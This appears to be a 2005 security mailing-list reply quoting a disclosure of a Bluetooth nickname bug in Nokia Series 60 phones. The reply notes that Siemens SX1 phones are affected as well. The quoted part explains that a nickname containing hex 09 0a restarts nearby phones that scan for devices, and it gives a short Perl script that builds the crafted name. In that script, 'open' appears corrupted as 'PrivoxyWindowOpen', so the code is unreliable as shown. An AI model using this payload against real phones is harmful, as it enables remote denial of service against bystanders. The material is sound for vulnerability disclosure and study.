> When i was playing with my bluetooth device,
> i found that if you add in your nickname " 09 0a " in hex, it will cause that
> every one who search for available bluetooth devices and find your nickname his
> nokia phone will restart.
> you should add a nicname like that,
> [something][09 0a in hex][just add anything here]
> you should add anything before 09 0a because the nokia phones think that its
> a space at the end, and it will auto deleted so you should add any thing before
> 090a .
Not only Nokia Bluetooth devices are affected.
It seems that all Series60 phones have this bug, including all firmware versions
of Siemens SX1.
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Best Regards,
Alex Renn Jr.
ray (at) TXnet (dot) com [email concealed]
===[ Original Message ]===
From: Qnix (at) bsdmail (dot) org [email concealed] <Qnix (at) bsdmail (dot) org [email concealed]>
To: bugtraq (at) securityfocus (dot) com [email concealed] <bugtraq (at) securityfocus (dot) com [email concealed]>
Subject: Nokia Symbian 60 "BLUETOOTH NICKNAME" Remote Restart
Date: 27.06.2005 11:55
> When i was playing with my bluetooth device,
> i found that if you add in your nickname " 09 0a " in hex, it will cause that
> every one who search for available bluetooth devices and find your nickname his
> nokia phone will restart.
> you should add a nicname like that,
> [something][09 0a in hex][just add anything here]
> you should add anything before 09 0a because the nokia phones think that its
> a space at the end, and it will auto deleted so you should add any thing before
> 090a .
> nokia-bt-cx.pl
> -------------start---------------
> #!/usr/bin/perl -w
> my $btnick;
> my $bth;
> my $bts;
> my $file;
> $bth = " .";
> print "\n*******************************************************\n";
> print "** NOKIA REMOTE RESTART IN BLUETOOTH NICKNAME **\n";
> print "** BY QNIX | Q-nix[@]bsdmail[dot]org **\n";
> print "*******************************************************\n";
> print " \n write your nickname : ";
> $btnick = <STDIN>;
> chomp($btnick);
> print " \n OUTPUT : ";
> $file = <STDIN>;
> chomp($file);
> PrivoxyWindowOpen(BLUEN, ">>$file") || die "Could not create file $!\n";
> $bts = "$btnick$bth";
> print BLUEN ("$bts");
> close(BLUEN);
> print "\n Done !! , send the output to your nokia and copy the file to the bluetooth nickname space . \n\n";
> -------------end-----------------
> may be someone got more information about that bug or any thing else.
> and maybe someone can develop that problem.
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